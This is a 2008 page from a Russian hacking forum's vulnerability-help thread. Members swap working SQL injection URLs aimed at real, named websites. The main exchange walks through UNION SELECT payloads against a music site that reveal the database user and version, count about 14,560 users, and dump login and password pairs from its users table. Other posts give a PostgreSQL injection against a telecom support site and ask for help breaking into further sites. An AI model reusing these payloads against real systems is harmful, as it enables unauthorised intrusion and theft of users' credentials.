HOME FORUMS MEMBERS RECENT POSTS LOG IN  
× Авторизация
Имя пользователя:
Пароль:
Нет аккаунта? Регистрация
Баннер 1   Баннер 2
НОВЫЕ ТОРГОВАЯ НОВОСТИ ЧАТ
loading...
Скрыть
Вернуться   ANTICHAT > БЕЗОПАСНОСТЬ И УЯЗВИМОСТИ > Уязвимости
Перезагрузить страницу Ваши вопросы по уязвимостям.
   
Ответ
Страница 332 из 2438 « Первая < 232282322 328 329 330 331 332 333 334 335 336 3423824328321332 > Последняя »
 
Опции темы Поиск в этой теме Опции просмотра

  #3311  
Старый 19.09.2008, 21:20
j0ker13
Участник форума
Регистрация: 28.07.2008
Сообщений: 199
С нами: 9361870

Репутация: 58
По умолчанию
jokester дык это понятна на счет Hex() а почему он ругается именно на Union?) кодировка же нужна тока при выводе колонки а не самой команде))
 
Ответить с цитированием

  #3312  
Старый 19.09.2008, 21:27
Jokester
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами: 9593606

Репутация: 4915


По умолчанию
j0ker13
Учи английский
А если нужен практический пример то в соседнем топике лежит инъекция:
https://forum.antichat.ru/showpost.php?p=870637&postcount=6661

Попробуй её без конверта , и увидишь такую-же ошибку
 
Ответить с цитированием

  #3313  
Старый 19.09.2008, 21:36
j0ker13
Участник форума
Регистрация: 28.07.2008
Сообщений: 199
С нами: 9361870

Репутация: 58
По умолчанию
2jokester ладна) по идее это правильно?) -1+union+select+convert(1,2,3,4,5,6,7,8,9,0,1,2+usi ng+cp1251) но выдает ошибку ; check the manual that corresponds to your MySQL server version for the right syntax to use near '2,3,4,5,6,7,8,9,0,1,2 using cp1251)/* ORDER BY date DESC LIMIT 0
 
Ответить с цитированием

  #3314  
Старый 19.09.2008, 21:37
Jokester
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами: 9593606

Репутация: 4915


По умолчанию
Киньте линк, что-то гадание на кофейной гуще какое-то.
Последний раз редактировалось jokester; 19.09.2008 в 21:40..
 
Ответить с цитированием

  #3315  
Старый 19.09.2008, 21:39
j0ker13
Участник форума
Регистрация: 28.07.2008
Сообщений: 199
С нами: 9361870

Репутация: 58
По умолчанию
http://mp3db.ru/index.php?cid=9&subcid=-1+union+select+convert(1,2,3,4,5,6,7,8,9,0,1,2+usi ng+utf8)/*
 
Ответить с цитированием

  #3316  
Старый 19.09.2008, 21:46
Jokester
Познавший АНТИЧАТ
Регистрация: 18.02.2008
Сообщений: 1,136
С нами: 9593606

Репутация: 4915


По умолчанию
http://mp3db.ru/index.php?cid=9&subcid=-18+union+select+1,null,null,null,concat_ws(0x3a,Us er(),Database(),Version()),6,null,null,null,null,n ull,null/*

http://mp3db.ru/index.php?cid=9&subcid=-18+union+select+1,null,null,null,count(*),6,null,n ull,null,null,null,null+from+users/*
14560 юзеров

юзеры
http://mp3db.ru/index.php?cid=9&subcid=-18+union+select+1,null,null,null,concat_ws(0x3a,lo gin,passwd),6,null,null,null,null,null,null+from+u sers/*

Выводятся все так что юзай лимит )
Последний раз редактировалось jokester; 19.09.2008 в 21:52..
 
Ответить с цитированием

  #3317  
Старый 19.09.2008, 21:48
j0ker13
Участник форума
Регистрация: 28.07.2008
Сообщений: 199
С нами: 9361870

Репутация: 58
По умолчанию
2jokester гг) спс) уже нашел эту базу)) еще вопрос) еси при лоад_файл не показывает ошибки и в принтабельном столбце пусто то однозначно нет файл_прив?)
Последний раз редактировалось j0ker13; 19.09.2008 в 22:04..
 
Ответить с цитированием

  #3318  
Старый 19.09.2008, 22:05
DJ ][akep
Познающий
Регистрация: 27.01.2008
Сообщений: 57
С нами: 9625938

Репутация: 32
По умолчанию
Помогите с PostgreSQL столбцы подобрал (54)
Цитата:
http://support.kharkiv.ukrtelecom.ua/news/?id=-1+union+select+null,null,null,null,null,null,null, null,null,null,null,null,null,null,null,null,null, null,null,null,null,null,null,null,null,null,null, null,null,null,null,null,null,null,null,null,null, null,null,null,null,null,null,null,null,null,null, null,null,null,null,null,null,null--
 
Ответить с цитированием

  #3319  
Старый 19.09.2008, 22:48
KHR3b
Новичок
Регистрация: 19.09.2008
Сообщений: 6
С нами: 9286190

Репутация: 0
По умолчанию
народ, помогите плиз с этим: http://ashdoda.net/modules.php?name=Photo_Albums&file=show_photo&phot o_id=%2724616
чо только не пытался, без результатов...
 
Ответить с цитированием

  #3320  
Старый 20.09.2008, 04:38
geforce
Постоянный
Регистрация: 21.08.2008
Сообщений: 302
С нами: 9326973

Репутация: -25
По умолчанию
Если phpBB 3,0,1 Пропаченый где взять инфу про его баги и уязвимости?
 
Ответить с цитированием
Ответ
Страница 332 из 2438 « Первая < 232282322 328 329 330 331 332 333 334 335 336 3423824328321332 > Последняя »



« Предыдущая тема | Следующая тема »
Похожие темы
Тема Автор Раздел Ответов Последнее сообщение
Ваши ламерские приколы (Ну когда только комп появился) PEPSICOLA Болталка 188 23.05.2010 10:05
Ваши любимые компьютерные игры PEPSICOLA Болталка 280 19.08.2009 00:01
Ваши телеги... F-IFTY Болталка 13 18.08.2009 18:22
Вопросы по Ipb 2.0 Voodoo_People Уязвимости CMS / форумов 26 15.02.2005 22:57



Здесь присутствуют: 1 (пользователей: 0 , гостей: 1)
 


Быстрый переход




ANTICHAT ™ © 2001- Antichat Kft.